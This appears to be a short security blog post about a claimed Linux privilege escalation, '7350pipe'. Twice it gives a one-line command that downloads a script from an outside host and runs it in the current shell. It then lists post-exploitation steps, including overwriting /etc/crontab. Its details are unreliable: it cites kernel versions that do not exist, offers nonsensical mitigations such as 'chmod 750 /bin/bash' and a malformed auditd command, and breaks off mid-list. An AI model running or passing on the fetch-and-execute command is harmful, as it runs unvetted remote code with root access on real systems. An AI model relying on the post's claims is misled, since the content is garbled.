CVE- Pipe - Linux Privilege Escalation (All Versions)

A critical Linux privilege escalation vulnerability (CVE-2025-0401), dubbed 7350pipe, has been discovered, affecting all Linux kernel versions. The exploit allows unprivileged users to gain root access by executing a malicious script via command substitution.

Exploit Command:

. <(curl -SsfL https://thc.org/7350pipe)

You Should Know:

Exploitation Steps & Verification

1. Check Kernel Version:

uname -a

If the kernel is vulnerable (except `5.23.0-130` to 5.25.0), proceed.

2. Execute Exploit:

. <(curl -SsfL https://thc.org/7350pipe)

Expected output:

[] Finding offset .....FOUND @+0x1101 (VULNERABLE) 
[] Exploiting.............. 
[X] b00m. Entering root shell

3. Verify Root Access:

whoami  Should return "root" 
id  Check UID=0

4. Post-Exploitation Checks:

Install packages without sudo:
```
apt install neofetch 
```

Modify system files:

echo "malicious_config" > /etc/crontab

Mitigation Steps

Patch Immediately: Check for kernel updates from your distro.

Restrict Command Substitution:

chmod 750 /bin/bash  Restrict bash execution

Monitor Suspicious Activity:

auditd -l /etc/audit/audit.rules -k privilege_esc

What Undercode Say:

This exploit demonstrates the risks of improper kernel pipe handling, allowing unprivileged code execution. Always:
– Update Linux kernels regularly.
– Disable unnecessary shell features like unrestricted command substitution.
– Use SELinux/AppArmor to restrict process privileges.
– Log & audit system changes: